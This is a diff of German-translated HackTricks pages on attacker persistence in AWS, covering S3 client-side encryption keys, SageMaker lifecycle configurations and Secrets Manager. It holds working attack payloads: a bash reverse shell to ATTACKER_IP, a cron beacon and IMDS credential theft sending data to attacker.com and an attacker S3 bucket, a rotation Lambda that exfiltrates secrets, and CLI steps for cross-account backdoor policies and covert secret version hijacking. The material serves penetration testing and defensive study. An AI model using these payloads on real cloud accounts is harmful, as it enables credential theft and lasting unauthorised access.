+Wenn der Verschlüsselungsprozess abgeschlossen ist, verwendet der Benutzer die KMS API, um einen neuen Schlüssel zu erzeugen (`aws kms generate-data-key`) und er wird den erzeugten verschlüsselten Schlüssel **in den Metadaten** der Datei speichern ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)), sodass beim Entschlüsseln dieser mithilfe von KMS wieder entschlüsselt werden kann:
+
+<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
+
+Ein Angreifer könnte diesen Schlüssel also aus den Metadaten auslesen und mit KMS (`aws kms decrypt`) entschlüsseln, um den zur Verschlüsselung der Informationen verwendeten Schlüssel zu erhalten. Auf diese Weise besitzt der Angreifer den Verschlüsselungsschlüssel; wenn derselbe Schlüssel zur Verschlüsselung anderer Dateien wiederverwendet wird, kann er ihn auch dafür nutzen.
+
+### Using S3 ACLs
+
+Obwohl ACLs von Buckets normalerweise deaktiviert sind, könnte ein Angreifer mit ausreichenden Rechten sie missbrauchen (falls sie aktiviert sind oder der Angreifer sie aktivieren kann), um Zugriff auf das S3-Bucket beizubehalten.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md

@@ -1,158 +0,0 @@
-# Aws Sagemaker Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Übersicht der Persistenztechniken
-
-Dieser Abschnitt beschreibt Methoden zur Erlangung von Persistenz in SageMaker durch den Missbrauch von Lifecycle Configurations (LCCs), einschließlich Reverse Shells, Cron-Jobs, Diebstahl von Anmeldeinformationen über IMDS und SSH-Backdoors. Diese Skripte werden mit der IAM-Rolle der Instanz ausgeführt und können über Neustarts hinweg bestehen bleiben. Die meisten Techniken erfordern ausgehenden Netzwerkzugang, aber die Nutzung von Diensten im AWS-Control-Plane kann dennoch Erfolg ermöglichen, wenn die Umgebung im 'VPC-only'-Modus ist.
-#### Hinweis: SageMaker-Notebook-Instanzen sind im Wesentlichen verwaltete EC2-Instanzen, die speziell für Machine-Learning-Workloads konfiguriert sind.
-
-## Erforderliche Berechtigungen
-* Notebook-Instanzen:
-```
-sagemaker:CreateNotebookInstanceLifecycleConfig
-sagemaker:UpdateNotebookInstanceLifecycleConfig
-sagemaker:CreateNotebookInstance
-sagemaker:UpdateNotebookInstance
-```
-* Studio-Anwendungen:
-```
-sagemaker:CreateStudioLifecycleConfig
-sagemaker:UpdateStudioLifecycleConfig
-sagemaker:UpdateUserProfile
-sagemaker:UpdateSpace
-sagemaker:UpdateDomain
-```
-## Lebenszykluskonfiguration für Notebook-Instanzen festlegen
-
-### Beispiel AWS CLI-Befehle:
-```bash
-# Create Lifecycle Configuration*
-
-aws sagemaker create-notebook-instance-lifecycle-config \
---notebook-instance-lifecycle-config-name attacker-lcc \
---on-start Content=$(base64 -w0 reverse_shell.sh)
-
-
-# Attach Lifecycle Configuration to Notebook Instance*
-
-aws sagemaker update-notebook-instance \
---notebook-instance-name victim-instance \
---lifecycle-config-name attacker-lcc
-```
-## Lebenszykluskonfiguration in SageMaker Studio festlegen
-
-Lebenszykluskonfigurationen können auf verschiedenen Ebenen und für unterschiedliche App-Typen innerhalb von SageMaker Studio angehängt werden.
-
-### Studio-Domain-Ebene (Alle Benutzer)
-```bash
-# Create Studio Lifecycle Configuration*
-
-aws sagemaker create-studio-lifecycle-config \
---studio-lifecycle-config-name attacker-studio-lcc \
---studio-lifecycle-config-app-type JupyterServer \
---studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
-
-
-# Apply LCC to entire Studio Domain*
-
-aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
-"JupyterServerAppSettings": {
-"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
-}
-}'
-```
-### Studio Space Level (Einzel- oder Gemeinschaftsräume)
-```bash
-# Update SageMaker Studio Space to attach LCC*
-
-aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
-"JupyterServerAppSettings": {
-"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
-}
-}'
-```
-## Arten von Studio-Anwendungslebenszykluskonfigurationen
-
-Lebenszykluskonfigurationen können spezifisch auf verschiedene SageMaker Studio-Anwendungstypen angewendet werden:
-* JupyterServer: Führt Skripte während des Starts des Jupyter-Servers aus, ideal für Persistenzmechanismen wie Reverse Shells und Cron-Jobs.
-* KernelGateway: Wird während des Starts der Kernel-Gateway-App ausgeführt, nützlich für die Erstkonfiguration oder den dauerhaften Zugriff.
-* CodeEditor: Gilt für den Code-Editor (Code-OSS) und ermöglicht Skripte, die beim Start von Codebearbeitungssitzungen ausgeführt werden.
-
-### Beispielbefehl für jeden Typ:
-
-### JupyterServer
-```bash
-aws sagemaker create-studio-lifecycle-config \
---studio-lifecycle-config-name attacker-jupyter-lcc \
---studio-lifecycle-config-app-type JupyterServer \
---studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
-```
-### KernelGateway
-```bash
-aws sagemaker create-studio-lifecycle-config \
---studio-lifecycle-config-name attacker-kernelgateway-lcc \
---studio-lifecycle-config-app-type KernelGateway \
---studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
-```
-### CodeEditor
-```bash
-aws sagemaker create-studio-lifecycle-config \
---studio-lifecycle-config-name attacker-codeeditor-lcc \
---studio-lifecycle-config-app-type CodeEditor \
---studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
-```
-### Kritische Informationen:
-* Das Anfügen von LCCs auf Domain- oder Space-Ebene betrifft alle Benutzer oder Anwendungen im Geltungsbereich.
-* Erfordert höhere Berechtigungen (sagemaker:UpdateDomain, sagemaker:UpdateSpace), die typischerweise auf Space-Ebene machbarer sind als auf Domain-Ebene.
-* Netzwerkebenenkontrollen (z. B. strenge Egress-Filterung) können erfolgreiche Reverse Shells oder Datenexfiltration verhindern.
-
-## Reverse Shell über Lifecycle-Konfiguration
-
-SageMaker Lifecycle-Konfigurationen (LCCs) führen benutzerdefinierte Skripte aus, wenn Notebook-Instanzen gestartet werden. Ein Angreifer mit Berechtigungen kann eine persistente Reverse Shell einrichten.
-
-### Payload-Beispiel:
-```
-#!/bin/bash
-ATTACKER_IP="<ATTACKER_IP>"
-ATTACKER_PORT="<ATTACKER_PORT>"
-nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
-```
-## Cron Job Persistence über Lifecycle-Konfiguration
-
-Ein Angreifer kann Cron-Jobs durch LCC-Skripte injizieren, um die periodische Ausführung von bösartigen Skripten oder Befehlen sicherzustellen, was eine heimliche Persistenz ermöglicht.
-
-### Payload-Beispiel:
-```
-#!/bin/bash
-PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
-CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
-CRON_JOB="*/30 * * * * $CRON_CMD"
-
-mkdir -p /home/ec2-user/SageMaker/.local_tasks
-echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
-chmod +x $PAYLOAD_PATH
-
-(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
-```
-## Credential Exfiltration via IMDS (v1 & v2)
-
-Lifecycle-Konfigurationen können den Instance Metadata Service (IMDS) abfragen, um IAM-Anmeldeinformationen abzurufen und diese an einen von einem Angreifer kontrollierten Ort zu exfiltrieren.
-
-### Payload Example:
-```bash
-#!/bin/bash
-ATTACKER_BUCKET="s3://attacker-controlled-bucket"
-TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
-ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
-curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
-
-# Exfiltrate via S3*
-
-aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
-
-# Alternatively, exfiltrate via HTTP POST*
-
-curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md

@@ -0,0 +1,230 @@
+# AWS - SageMaker Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Überblick über Persistence Techniques
+
+Dieser Abschnitt beschreibt Methoden, um Persistence in SageMaker zu erreichen, indem Lifecycle Configurations (LCCs) missbraucht werden, einschließlich reverse shells, cron jobs, credential theft via IMDS und SSH backdoors. Diese Skripte laufen mit der Instanz‑IAM role und können Neustarts überdauern. Die meisten Techniken erfordern ausgehenden Netzwerkzugang, aber die Nutzung von Diensten auf der AWS control plane kann trotzdem erfolgreich sein, wenn die Umgebung im 'VPC-only' mode ist.
+
+> [!TIP]
+> Hinweis: SageMaker notebook instances sind im Wesentlichen verwaltete EC2-Instanzen, die speziell für machine learning workloads konfiguriert sind.
+
+## Erforderliche Berechtigungen
+* Notebook Instances:
+```
+sagemaker:CreateNotebookInstanceLifecycleConfig
+sagemaker:UpdateNotebookInstanceLifecycleConfig
+sagemaker:CreateNotebookInstance
+sagemaker:UpdateNotebookInstance
+```
+* Studio Applications:
+```
+sagemaker:CreateStudioLifecycleConfig
+sagemaker:UpdateStudioLifecycleConfig
+sagemaker:UpdateUserProfile
+sagemaker:UpdateSpace
+sagemaker:UpdateDomain
+```
+## Lifecycle-Konfiguration für Notebook Instances setzen
+
+### Beispiel-AWS-CLI-Befehle:
+```bash
+# Create Lifecycle Configuration*
+
+aws sagemaker create-notebook-instance-lifecycle-config \
+--notebook-instance-lifecycle-config-name attacker-lcc \
+--on-start Content=$(base64 -w0 reverse_shell.sh)
+
+
+# Attach Lifecycle Configuration to Notebook Instance*
+
+aws sagemaker update-notebook-instance \
+--notebook-instance-name victim-instance \
+--lifecycle-config-name attacker-lcc
+```
+## Lifecycle-Konfiguration in SageMaker Studio festlegen
+
+Lifecycle-Konfigurationen können auf verschiedenen Ebenen und an unterschiedliche App-Typen innerhalb von SageMaker Studio angehängt werden.
+
+### Studio-Domain-Ebene (alle Benutzer)
+```bash
+# Create Studio Lifecycle Configuration*
+
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-studio-lcc \
+--studio-lifecycle-config-app-type JupyterServer \
+--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
+
+
+# Apply LCC to entire Studio Domain*
+
+aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
+"JupyterServerAppSettings": {
+"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
+}
+}'
+```
+### Studio Space-Ebene (Einzel- oder gemeinsame Spaces)
+```bash
+# Update SageMaker Studio Space to attach LCC*
+
+aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
+"JupyterServerAppSettings": {
+"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
+}
+}'
+```
+## Arten von Studio-Anwendungs-Lebenszyklus-Konfigurationen
+
+Lebenszyklus-Konfigurationen können gezielt auf verschiedene SageMaker Studio Anwendungstypen angewendet werden:
+* JupyterServer: Führt Skripte beim Start des Jupyter-Servers aus, ideal für Persistenzmechanismen wie reverse shells und cron jobs.
+* KernelGateway: Wird beim Start der KernelGateway-App ausgeführt, nützlich für die Erstkonfiguration oder dauerhaften Zugriff.
+* CodeEditor: Gilt für den Code Editor (Code-OSS) und ermöglicht Skripte, die beim Start von Sitzungen zur Codebearbeitung ausgeführt werden.
+
+### Beispielbefehl für jeden Typ:
+
+### JupyterServer
+```bash
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-jupyter-lcc \
+--studio-lifecycle-config-app-type JupyterServer \
+--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
+```
+### KernelGateway
+```bash
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-kernelgateway-lcc \
+--studio-lifecycle-config-app-type KernelGateway \
+--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
+```
+### Code-Editor
+```bash
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-codeeditor-lcc \
+--studio-lifecycle-config-app-type CodeEditor \
+--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
+```
+### Critical Info:
+* Das Anfügen von LCCs auf Domain- oder Space-Ebene betrifft alle Benutzer oder Anwendungen innerhalb des Geltungsbereichs.
+* Erfordert höhere Berechtigungen (sagemaker:UpdateDomain, sagemaker:UpdateSpace), typischerweise eher auf Space- als auf Domain-Ebene durchführbar.
+* Netzwerkbasierte Kontrollen (z. B. striktes egress filtering) können erfolgreiche reverse shells oder data exfiltration verhindern.
+
+## Reverse Shell via Lifecycle Configuration
+
+SageMaker Lifecycle Configurations (LCCs) führen beim Start von notebook instances benutzerdefinierte Skripte aus. Ein Angreifer mit entsprechenden Berechtigungen kann eine persistente reverse shell etablieren.
+
+### Payload Example:
+```
+#!/bin/bash
+ATTACKER_IP="<ATTACKER_IP>"
+ATTACKER_PORT="<ATTACKER_PORT>"
+nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
+```
+## Cron Job Persistenz durch Lifecycle Configuration
+
+Ein Angreifer kann cron jobs durch LCC scripts injizieren und so die periodische Ausführung bösartiger Skripte oder Befehle sicherstellen, wodurch eine unauffällige Persistenz erreicht wird.
+
+### Payload-Beispiel:
+```
+#!/bin/bash
+PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
+CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
+CRON_JOB="*/30 * * * * $CRON_CMD"
+
+mkdir -p /home/ec2-user/SageMaker/.local_tasks
+echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
+chmod +x $PAYLOAD_PATH
+
+(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
+```
+## Credential Exfiltration via IMDS (v1 & v2)
+
+Lifecycle-Konfigurationen können den Instance Metadata Service (IMDS) abfragen, um IAM credentials abzurufen und diese an einen vom Angreifer kontrollierten Ort zu exfiltrate.
+
+### Payload Example:
+```bash
+#!/bin/bash
+ATTACKER_BUCKET="s3://attacker-controlled-bucket"
+TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
+ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
+curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
+
+# Exfiltrate via S3*
+
+aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
+
+# Alternatively, exfiltrate via HTTP POST*
+
+curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
+```
+## Persistenz über ressourcenbasierte Model Registry-Richtlinie (PutModelPackageGroupPolicy)
+
+Missbrauche die ressourcenbasierte Richtlinie auf einer SageMaker Model Package Group, um einem externen Principal Cross-Account-Rechte zu gewähren (z. B. CreateModelPackage/Describe/List). Damit wird eine dauerhafte Hintertür geschaffen, die es ermöglicht, vergiftete Modellversionen hochzuladen oder Modell-Metadaten/Artefakte zu lesen, selbst wenn der IAM-Benutzer/die IAM-Rolle des Angreifers im Opferkonto entfernt wird.
+
+Erforderliche Berechtigungen
+- sagemaker:CreateModelPackageGroup
+- sagemaker:PutModelPackageGroupPolicy
+- sagemaker:GetModelPackageGroupPolicy
+
+Schritte (us-east-1)
+```bash
+# 1) Create a Model Package Group
+REGION=${REGION:-us-east-1}
+MPG=atk-mpg-$(date +%s)
+aws sagemaker create-model-package-group \
+--region "$REGION" \
+--model-package-group-name "$MPG" \
+--model-package-group-description "Test backdoor"
+
+# 2) Craft a cross-account resource policy (replace 111122223333 with attacker account)
+cat > /tmp/mpg-policy.json <<JSON
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "AllowCrossAccountCreateDescribeList",
+"Effect": "Allow",
+"Principal": {"AWS": ["arn:aws:iam::111122223333:root"]},
+"Action": [
+"sagemaker:CreateModelPackage",
+"sagemaker:DescribeModelPackage",
+"sagemaker:DescribeModelPackageGroup",
+"sagemaker:ListModelPackages"
+],
+"Resource": [
+"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package-group/${MPG}",
+"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package/${MPG}/*"
+]
+}
+]
+}
+JSON
+
+# 3) Attach the policy to the group
+aws sagemaker put-model-package-group-policy \
+--region "$REGION" \
+--model-package-group-name "$MPG" \
+--resource-policy "$(jq -c . /tmp/mpg-policy.json)"
+
+# 4) Retrieve the policy (evidence)
+aws sagemaker get-model-package-group-policy \
+--region "$REGION" \
+--model-package-group-name "$MPG" \
+--query ResourcePolicy --output text
+```
+Hinweise
+- Für eine echte cross-account backdoor beschränke Resource auf die spezifische group ARN und verwende die AWS-Konto-ID des attacker im Principal.
+- Für End-to-End cross-account Deployment oder artifact reads stimme S3/ECR/KMS-Berechtigungen mit dem attacker account ab.
+
+Auswirkungen
+- Persistente cross-account Kontrolle einer Model Registry-Gruppe: attacker kann bösartige model versions veröffentlichen oder model metadata auflisten/lesen, selbst nachdem ihre IAM-Entitäten im victim account entfernt wurden.
+
+## Canvas cross-account model registry backdoor (UpdateUserProfile.ModelRegisterSettings)
+
+Missbrauche SageMaker Canvas Benutzereinstellungen, um Model Registry-Schreibvorgänge stillschweigend auf ein attacker-kontrolliertes Konto umzuleiten, indem du ModelRegisterSettings aktivierst und CrossAccountModelRegisterRoleArn auf eine attacker role in einem anderen Konto setzt.
+
+Erforderliche Berechtigungen
+- sagemaker:UpdateUserProfile auf dem Ziel-UserProfile
+- Optional: sagemaker:CreateUserProfile in einer Domain, die du kontrollierst
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md

@@ -1,51 +0,0 @@
-# AWS - Secrets Manager Persistenz
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Secrets Manager
-
-Für weitere Informationen siehe:
-
-{{#ref}}
-../aws-services/aws-secrets-manager-enum.md
-{{#endref}}
-
-### Über Ressourcenrichtlinien
-
-Es ist möglich, **Zugriff auf Geheimnisse für externe Konten zu gewähren** über Ressourcenrichtlinien. Siehe die [**Secrets Manager Privesc-Seite**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) für weitere Informationen. Beachten Sie, dass das externe Konto auch **Zugriff auf den KMS-Schlüssel, der das Geheimnis verschlüsselt, benötigt**.
-
-### Über Secrets Rotate Lambda
-
-Um **Geheimnisse** automatisch zu **rotieren**, wird eine konfigurierte **Lambda** aufgerufen. Wenn ein Angreifer den **Code** **ändern** könnte, könnte er das neue Geheimnis direkt **an sich selbst exfiltrieren**.
-
-So könnte der Lambda-Code für eine solche Aktion aussehen:
-```python
-import boto3
-
-def rotate_secrets(event, context):
-# Create a Secrets Manager client
-client = boto3.client('secretsmanager')
-
-# Retrieve the current secret value
-secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
-
-# Rotate the secret by updating its value
-new_secret_value = rotate_secret(secret_value)
-client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
-
-def rotate_secret(secret_value):
-# Perform the rotation logic here, e.g., generate a new password
-
-# Example: Generate a new password
-new_secret_value = generate_password()
-
-return new_secret_value
-
-def generate_password():
-# Example: Generate a random password using the secrets module
-import secrets
-import string
-password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
-return password
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md

@@ -0,0 +1,234 @@
+# AWS - Secrets Manager Persistenz
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Secrets Manager
+
+Für weitere Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-secrets-manager-enum.md
+{{#endref}}
+
+### Über Resource Policies
+
+Es ist möglich, externen Accounts über Resource Policies **Zugriff auf secrets zu gewähren**. Siehe die [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) für mehr Informationen. Beachte, dass ein externes Konto, um **auf ein Secret zuzugreifen**, außerdem **Zugriff auf den KMS key benötigt, der das Secret verschlüsselt**.
+
+### Über Secrets Rotate Lambda
+
+Um **Secrets automatisch zu rotieren** wird eine konfigurierte **Lambda** aufgerufen. Wenn ein Angreifer den **Code** ändern könnte, könnte er das neue **Secret** direkt an sich exfiltrieren.
+
+So könnte der Lambda-Code für eine solche Aktion aussehen:
+```python
+import boto3
+
+def rotate_secrets(event, context):
+# Create a Secrets Manager client
+client = boto3.client('secretsmanager')
+
+# Retrieve the current secret value
+secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
+
+# Rotate the secret by updating its value
+new_secret_value = rotate_secret(secret_value)
+client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
+
+def rotate_secret(secret_value):
+# Perform the rotation logic here, e.g., generate a new password
+
+# Example: Generate a new password
+new_secret_value = generate_password()
+
+return new_secret_value
+
+def generate_password():
+# Example: Generate a random password using the secrets module
+import secrets
+import string
+password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
+return password
+```
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+
+
+
+### Swap the rotation Lambda to an attacker-controlled function via RotateSecret
+
+Missbrauche `secretsmanager:RotateSecret`, um ein Secret an eine vom Angreifer kontrollierte Rotation-Lambda zu binden und eine sofortige Rotation auszulösen. Die bösartige Funktion exfiltriert die Secret-Versionen (AWSCURRENT/AWSPENDING) während der Rotationsschritte (createSecret/setSecret/testSecret/finishSecret) zu einem Exfiltrationsziel (z. B. S3 oder externes HTTP).
+
+- Anforderungen
+- Berechtigungen: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` auf der Angreifer-Lambda, `iam:CreateRole/PassRole/PutRolePolicy` (oder AttachRolePolicy) um die Lambda-Execution-Rolle mit `secretsmanager:GetSecretValue` und vorzugsweise `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (damit die Rotation weiter funktioniert) zu provisionieren, KMS `kms:Decrypt` für den Secret-KMS-Key, und `s3:PutObject` (oder ausgehender Datenverkehr) für die Exfiltration.
+- Eine Ziel-Secret-ID (`SecretId`) mit aktivierter Rotation oder die Möglichkeit, Rotation zu aktivieren.
+
+- Auswirkung
+- Der Angreifer erhält die Secret-Werte ohne Änderung des legitimen Rotationscodes. Es wird nur die Rotationskonfiguration geändert, sodass sie auf die Angreifer-Lambda zeigt. Wenn dies nicht bemerkt wird, werden geplante zukünftige Rotationen weiterhin die Funktion des Angreifers aufrufen.
+
+- Angriffsschritte (CLI)
+1) Vorbereiten von Exfiltrationsziel und Lambda-Rolle
+- Erstelle ein S3-Bucket für die Exfiltration und eine von Lambda vertraute Ausführungsrolle mit Berechtigungen, das Secret zu lesen und in S3 zu schreiben (plus Logs/KMS nach Bedarf).
+2) Bereitstellen der Angreifer-Lambda, die bei jedem Rotationsschritt die Secret-Werte abruft und in S3 schreibt. Eine minimale Rotationslogik kann einfach AWSCURRENT nach AWSPENDING kopieren und in finishSecret wieder als aktuelle Version setzen, um den Dienst intakt zu halten.
+3) Rotation neu binden und auslösen
+- `aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately`
+4) Überprüfe die Exfiltration, indem du das S3-Präfix für dieses Secret auflistest und die JSON-Artefakte untersuchst.
+5) (Optional) Stelle die ursprüngliche Rotation-Lambda wieder her, um die Entdeckung zu erschweren.
+
+- Example attacker Lambda (Python) exfiltrating to S3
+- Environment: `EXFIL_BUCKET=<bucket>`
+- Handler: `lambda_function.lambda_handler`
+```python
+import boto3, json, os, base64, datetime
+s3 = boto3.client('s3')
+sm = boto3.client('secretsmanager')
+BUCKET = os.environ['EXFIL_BUCKET']
+
+def write_s3(key, data):
+s3.put_object(Bucket=BUCKET, Key=key, Body=json.dumps(data).encode('utf-8'), ContentType='application/json')
+
+def lambda_handler(event, context):
+sid, token, step = event['SecretId'], event['ClientRequestToken'], event['Step']
+# Exfil both stages best-effort
+def getv(**kw):
+try:
+r = sm.get_secret_value(**kw)
+return {'SecretString': r.get('SecretString')} if 'SecretString' in r else {'SecretBinary': base64.b64encode(r['SecretBinary']).decode('utf-8')}
+except Exception as e:
+return {'error': str(e)}
+current = getv(SecretId=sid, VersionStage='AWSCURRENT')
+pending = getv(SecretId=sid, VersionStage='AWSPENDING')
+key = f"{sid.replace(':','_')}/{step}/{token}.json"
+write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'), 'step': step, 'secret_id': sid, 'token': token, 'current': current, 'pending': pending})
+# Minimal rotation (optional): copy current->pending and promote in finishSecret
+# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)
+```
+### Version Stage Hijacking für verdeckte Persistenz (custom stage + fast AWSCURRENT flip)
+
+Missbrauche Secrets Manager Version-Staging-Labels, um eine vom Angreifer kontrollierte Secret-Version zu platzieren und unter einem benutzerdefinierten Stage (zum Beispiel `ATTACKER`) versteckt zu halten, während die Produktion weiterhin die ursprüngliche `AWSCURRENT` verwendet. Verschiebe zu jedem beliebigen Zeitpunkt `AWSCURRENT` auf die Version des Angreifers, um abhängige Workloads zu vergiften, und stelle sie dann wieder her, um die Entdeckung zu minimieren. Das bietet heimliche Backdoor-Persistenz und schnelle Manipulation zur Zeit der Nutzung, ohne den Secret-Namen oder die Rotationskonfiguration zu ändern.
+
+- Requirements
+- Berechtigungen: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (zur Verifikation)
+- Ziel-Secret-ID in der Region.
+
+- Impact
+- Behalte eine versteckte, vom Angreifer kontrollierte Version eines Secrets und wechsele atomar `AWSCURRENT` bei Bedarf darauf, um jeden Consumer zu beeinflussen, der denselben Secret-Namen auflöst. Der Wechsel und die schnelle Rücksetzung reduzieren die Chance einer Entdeckung und ermöglichen zugleich eine zeitpunktbezogene Kompromittierung.
+
+- Attack steps (CLI)
+- Vorbereitung
+- `export SECRET_ID=<target secret id or arn>`
+
+<details>
+<summary>CLI-Befehle</summary>
+```bash
+# 1) Capture current production version id (the one holding AWSCURRENT)
+CUR=$(aws secretsmanager list-secret-version-ids \
+--secret-id "$SECRET_ID" \
+--query "Versions[?contains(VersionStages, AWSCURRENT)].VersionId | [0]" \
+--output text)
+
+# 2) Create attacker version with known value (this will temporarily move AWSCURRENT)
+BACKTOK=$(uuidgen)
+aws secretsmanager put-secret-value \
+--secret-id "$SECRET_ID" \
+--client-request-token "$BACKTOK" \
+--secret-string {backdoor:hunter2!}
+
+# 3) Restore production and hide attacker version under custom stage
+aws secretsmanager update-secret-version-stage \
+--secret-id "$SECRET_ID" \
+--version-stage AWSCURRENT \
+--move-to-version-id "$CUR" \
+--remove-from-version-id "$BACKTOK"
+
+aws secretsmanager update-secret-version-stage \
+--secret-id "$SECRET_ID" \
+--version-stage ATTACKER \
+--move-to-version-id "$BACKTOK"
+
+# Verify stages
+aws secretsmanager list-secret-version-ids --secret-id "$SECRET_ID" --include-deprecated
+
+# 4) On-demand flip to the attacker’s value and revert quickly
+aws secretsmanager update-secret-version-stage \
+--secret-id "$SECRET_ID" \
+--version-stage AWSCURRENT \
+--move-to-version-id "$BACKTOK" \
+--remove-from-version-id "$CUR"
+
+# Validate served plaintext now equals the attacker payload
+aws secretsmanager get-secret-value --secret-id "$SECRET_ID" --query SecretString --output text
+
+# Revert to reduce detection
+aws secretsmanager update-secret-version-stage \
+--secret-id "$SECRET_ID" \
+--version-stage AWSCURRENT \
+--move-to-version-id "$CUR" \
+--remove-from-version-id "$BACKTOK"
+```
+</details>
+
+- Hinweise
+- Wenn Sie `--client-request-token` angeben, verwendet Secrets Manager ihn als `VersionId`. Das Hinzufügen einer neuen Version ohne explizites Setzen von `--version-stages` verschiebt standardmäßig `AWSCURRENT` auf die neue Version und markiert die vorherige als `AWSPREVIOUS`.
+
+
+### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)
+
+Missbrauche die multi-Region-Replikation von Secrets Manager, um eine Replik eines Zielsecrets in eine weniger überwachte Region zu erstellen, diese mit einem vom Angreifer kontrollierten KMS-Key in dieser Region zu verschlüsseln, anschließend die Replik zu einem eigenständigen Secret zu promoten und eine permissive resource policy anzuhängen, die dem Angreifer Lesezugriff gewährt. Das ursprüngliche Secret in der primären Region bleibt unverändert, wodurch über die promotete Replik ein dauerhafter, unauffälliger Zugriff auf den Secret-Wert möglich ist, während KMS-/Policy-Beschränkungen der primären Region umgangen werden.
+
+- Anforderungen
+- Berechtigungen: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
